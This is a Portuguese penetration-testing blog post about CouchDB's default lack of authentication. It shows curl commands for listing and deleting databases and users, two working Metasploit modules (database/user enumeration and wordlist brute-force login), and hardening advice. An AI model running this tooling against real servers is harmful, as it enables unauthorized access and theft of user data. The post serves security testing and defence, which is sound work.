Suas aplicações são seguras?

Conheça a Conviso!

CouchDB – For Fun and Profit

O que é CouchDB?

CouchDB[1] é um de banco de dados orientado a documentos, uma implementação de NoSQL que pode ser acessado através de sua API JavaScript Object Notation (JSON)[2] RESTful. O projeto, atualmente é desenvolvido na plataforma Erlang OTP[3] devido à sua ênfase em tolerância a falhas.

Uma lista de empresas que utilizam o CouchDB para o desenvolvimento de softwares pelo mundo, pode ser visualizada no site do desenvolvedor[4].

Características

Cada documento tem sua identificação única no banco de dados, e o CouchDB oferece uma RESTfull HTTP API para ler e atualizar (adicionar, atualizar, editar, excluir) os documentos do banco de dados.

Sua porta de utilização é a 5984 sob o protocolo TCP. O daemon responsável por sua execução é o “beam”, que faz parte do Erlang OTP. Conforme figura abaixo.

Por padrão, CouchDB instala todos seus recursos (exemplo: apt-get install couchdb) sem exigir o cadastro de senha para se autenticar em funções vitais do software, fazendo com que os administradores/desenvolvedores assumam essa tarefa.

O CouchDB disponibiliza suas respostas em clear-text, possibilitando ataques do tipo Man-in-The-Middle[5], conseguindo facilmente furtar dados importantes que estão trafegando entre o servidor e o cliente, um exemplo clássico, seria capturar o usuário e senha para se autenticar posteriormente, já que a aplicação utiliza sistema básico de autenticação (Basic Authentication), visualizar os nomes das databases, usuários etc.

Acessando os recursos do CouchDB com o cURL.

Com o utilitário de linha de comando cURL, podemos realizar basicamente as 4 funções principais para manusear documentos e views no CouchDB. Vejamos alguns exemplos:

1 – Para listar os databases existentes.

# curl -X GET http://192.168.0.64:5984/_all_dbs

2 – Criar um novo database.

# curl -X PUT http://192.168.0.64:5984/new_db

3 – Criando um documento de design.

# curl -X PUT http://192.168.0.64:5984/new_db/_design/app –data-binary @design.json

4 – Adicionando um documento vazio para poder visualizar o “design document” que acabamos de criar.

curl -X POST http://192.168.0.64:5984/new_db -d ‘{}’ -H “Content-Type:application/json”

5 – Para visualizar.

curl http://192.168.0.64:5984/new_db/_design/app/_view/foo

6 – Criando um usuário chamado zezinho.

# curl -X PUT http://192.168.0.64:5984/_users/org.couchdb.user:zezinho -d ‘{“name”:”zezinho”, “password”:”S3nhaS3cr3t4″, “roles”:[], “type”:”user”}’

7 – Listando usuários.

# curl http://192.168.0.64:5984/_users/_all_docs

8 – Excluindo um database.

# curl -X DELETE http://192.168.0.64:5984/new_db

 

Criando um script para o Metasploit

Para facilitar o trabalho durante os testes de intrusão, desenvolvi um script para o metasploit, onde você conseguirá realizar todas as ações possibilitando a automação da análise. Seu uso é simples, basta definir o endereço do host remoto (RHOST), o método (GET, PUT, POST ou DELETE) e sua ação (TARGETURI). Em seu padrão, o módulo vem configurado para enumerar as databases existentes no servidor a ser testado, bastando apenas, definir o host remoto (RHOST), confirmar se a aplicação roda na porta padrão (5984) e executar o comando “run”.

Script couchdb_enum.rb

require ‘msf/core’

class Metasploit3 < Msf::Auxiliary

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            ‘Name’           => ‘CouchDB Enum Utility’,
            ‘Description’    => %q{
                Send a “send_request_cgi()” to enumerate databases and your values on CouchDB (Without authentication by default)
            },
            ‘Author’         => [ ‘espreto <robertoespreto[at]gmail.com>’ ],
            ‘License’        => MSF_LICENSE
            ))

        register_options(
            [
                Opt::RPORT(5984),
                OptString.new(‘TARGETURI’, [true, ‘Path to list all the databases’, ‘/_all_dbs’]),
                OptEnum.new(‘HTTP_METHOD’, [true, ‘HTTP Method, default GET’, ‘GET’, [‘GET’, ‘POST’, ‘PUT’, ‘DELETE’] ]),
                OptString.new(‘USERNAME’, [false, ‘The username to login as’]),
                OptString.new(‘PASSWORD’, [false, ‘The password to login with’])
            ], self.class)
        end

    def run
        username = datastore[‘USERNAME’]
        password = datastore[‘PASSWORD’]

        uri = normalize_uri(datastore[‘TARGETURI’])
            res = send_request_cgi({
                ‘uri’      => uri,
                ‘method’   => datastore[‘HTTP_METHOD’],
                ‘authorization’ => basic_auth(username, password),
                ‘headers’  => {
                    ‘Cookie’   => ‘Whatever?’
                }
        })

        temp = JSON.parse(res.body)
        results = JSON.pretty_generate(temp)

        if res.nil?
            print_error(“No response for #{target_host}”)
        elsif (res.code == 200)
            print_good(“#{target_host}:#{rport} -> #{res.code}”)
            print_good(“Response Headers:nn #{res.headers}”)
            print_good(“Response Body:nn #{results}n”)
        elsif (res.code == 403) # Forbidden
            print_error(“Received #{res.code} – Forbidden to #{target_host}:#{rport}”)
            print_error(“Response from server:nn #{results}n”)
        elsif (res.code == 404) # Not Found
            print_error(“Received #{res.code} – Not Found to #{target_host}:#{rport}”)
            print_error(“Response from server:nn #{results}n”)
        else
            print_status(“#{res.code}”)
            print_status(“#{results}”)
        end

    rescue ::Exception => e
        print_error(“Error: #{e.to_s}”)
        return nil
    end
end

Veja um exemplo de saída do script com a opção TARGETURI definida com o valor /_users/_all_docs.

 

Analisando o CouchDB com autenticação.

Abaixo um novo script para o metasploit, que realiza o brute-force de usuário e senha, baseando-se em uma wordlist. Por padrão, já é especificada uma wordlist presente no metasploit, bastando apenas especificar o endereço remoto do CouchDB (RHOST) e confirmar a porta padrão (5984). Mas nada lhe impede de utilizar uma wordlist especialmente criada por você, basta especificar o path deste arquivo.

Script couchdb_login.rb

require ‘msf/core’

class Metasploit3 < Msf::Auxiliary

    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::Report
    include Msf::Auxiliary::AuthBrute
    include Msf::Auxiliary::Scanner

    def initialize(info={})
        super(update_info(info,
            ‘Name’           => ‘CouchDB Login Utility’,
            ‘Description’    => %{
                This module attempts brute force to login to a CouchDB.
            },
            ‘Author’         =>

                [
                    ‘espreto <robertoespreto[at]gmail.com>’
                ],
            ‘License’        => MSF_LICENSE
        ))

        register_options(
            [
                Opt::RPORT(5984),
                OptString.new(‘URI’, [true, “URI for CouchDB. Default here is /_users/_all_docs”, “/_users/_all_docs”]),
                OptPath.new(‘USERPASS_FILE’,  [ false, “File containing users and passwords separated by space, one pair per line”,
                    File.join(Msf::Config.install_root, “data”, “wordlists”, “http_default_userpass.txt”) ]),
                OptPath.new(‘USER_FILE’,  [ false, “File containing users, one per line”,
                    File.join(Msf::Config.install_root, “data”, “wordlists”, “http_default_users.txt”) ]),
                OptPath.new(‘PASS_FILE’,  [ false, “File containing passwords, one per line”,
                    File.join(Msf::Config.install_root, “data”, “wordlists”, “http_default_pass.txt”) ])
            ], self.class)
    end

    def run_host(ip)

        user = datastore[‘USERNAME’].to_s
        pass = datastore[‘PASSWORD’].to_s

        vprint_status(“#{rhost}:#{rport} – Trying to login with ‘#{user}’ : ‘#{pass}'”)

            res = send_request_cgi({
                ‘uri’    => datastore[‘URI’],
                ‘method’ => ‘GET’,
                ‘authorization’ => basic_auth(user, pass)
            })

            return if res.nil?
            return if (res.headers[‘Server’].nil? or res.headers[‘Server’] !~ /CouchDB/)
            return if (res.code == 404)

            if [200, 301, 302].include?(res.code)
                vprint_good(“#{rhost}:#{rport} – Successful login with ‘#{user}’ : ‘#{pass}'”)
            else
                vprint_error(“#{rhost}:#{rport} – Failed login with ‘#{user}’ : ‘#{pass}'”)
                print_status(“Brute-forcing… >:-} “)

                each_user_pass do |user, pass|
                    do_login(user, pass)
                end
            end
        rescue ::Rex::ConnectionError
            vprint_error(“‘#{rhost}’:’#{rport}’ – Failed to connect to the web server”)
    end

    def do_login(user, pass)
        vprint_status(“Trying username:’#{user}’ with password:’#{pass}'”)
        begin
            res = send_request_cgi(
            {
                ‘uri’       => datastore[‘URI’],
                ‘method’    => ‘GET’,

                ‘ctype’     => ‘text/plain’,
                ‘authorization’ => basic_auth(user, pass)
            })

            if res and res.code != 200
                vprint_error(“Failed login. ‘#{user}’ : ‘#{pass}’ with code #{res.code}”)
                return :skip_pass
            else
                print_good(“Successful login. ‘#{user}’ : ‘#{pass}'”)

                report_hash = {

                    :host   => datastore[‘RHOST’],
                    :port   => datastore[‘RPORT’],
                    :sname  => ‘couchdb’,
                    :user   => user,
                    :pass   => pass,
                    :active => true,

                    :type => ‘password’}

                report_auth_info(report_hash)
                return :next_user
            end

        rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED, ::Errno::ETIMEDOUT
            print_error(“HTTP Connection Failed, Aborting”)
                return :abort
        end
        rescue ::Exception => e
            print_error(“Error: #{e.to_s}”)
            return nil
    end
end

Aumentando a segurança do CouchDB.

Para diminuir os riscos, recomendamos aplicar as seguintes medidas para sua proteção.

Utilizando o futon[6], você pode acessar a url http://IP_DO_COUCHDB:5984/_utils que acessará o gerenciador web do CouchDB.

1 – Criar um usuário administrador no servidor clicando no botão “Fix this!”, localizado no canto inferior direito.

2 – Criar um usuário no-admin e atribuí-lo (por nome ou papel) para ser um usuário administrador do banco de dados em específico. Isso pode ser feito através do ícone “Segurança” no topo do gerenciador Futon, quando você está em um banco de dados específico. Ou então criar este non-admin através do HTTP API.

3 – Criar um usuário non-admin no CouchDB e atribuí-los (por nome ou papel) para ser apenas leitor (read) no banco de dados em algum banco de dados específico. Isso pode ser feito através do ícone “Segurança” no topo do gerenciador Futon quando você está em um banco de dados específico. Ou então criar este non-admin através do HTTP API.

4 – Criar um usuário non-admin no CouchDB e criar um documento de design de banco de dados que inclui uma função de validação, especificamente em uma propriedade “validate_doc_update” no documento de design. O valor dessa propriedade é uma função (que você escreve) para verificar um nome de usuário ou regra no argumento userCtx que é passado para a função específica, assim poderia alertar um erro na função se o usuário ou a regra não é quem pode escrever no banco de dados.

5 – Como medida adicional de proteção, o CouchDB disponibiliza a autenticação via Cookie, bastando enviar uma requisição para a API com o usuário e senha já presentes no mesmo. Por padrão, cada token tem sua a duração de 10 minutos.

Estas e outras dicas importantes podem ser visualizadas no CouchDB Security[7], disponível no próprio site do desenvolvedor.

Parte 2 do Post:

CouchDB – For Fun and Profit

Ataques SSRF? Execução remota de comandos? Tudo via CouchDB?
Essas e outras perguntas interessantes serão respondidas no próximo post. =)

Não deixem de assinar a newsletter da Conviso[8] para receber as atualizações de novos posts e notícias.

By @espreto

Referências:

[1] http://couchdb.apache.org/
[2] http://www.json.org/
[3] http://www.erlang.org/
[4] http://wiki.apache.org/couchdb/CouchDB_in_the_wild
[5] http://en.wikipedia.org/wiki/Man-in-the-middle_attack
[6] http://wiki.apache.org/couchdb/Getting_started_with_Futon
[7] http://wiki.apache.org/couchdb/Security_Features_Overview
[8] https://www.conviso.com.br/


Leituras adicionais:

http://en.wikipedia.org/wiki/REST
http://en.wikipedia.org/wiki/Create,_read,_update_and_delete

Originalmente postado no Blog da Conviso Application Security – Siga-nos no Twitter @conviso Google+

Tags

Deixe um comentário

topo
%d blogueiros gostam disto: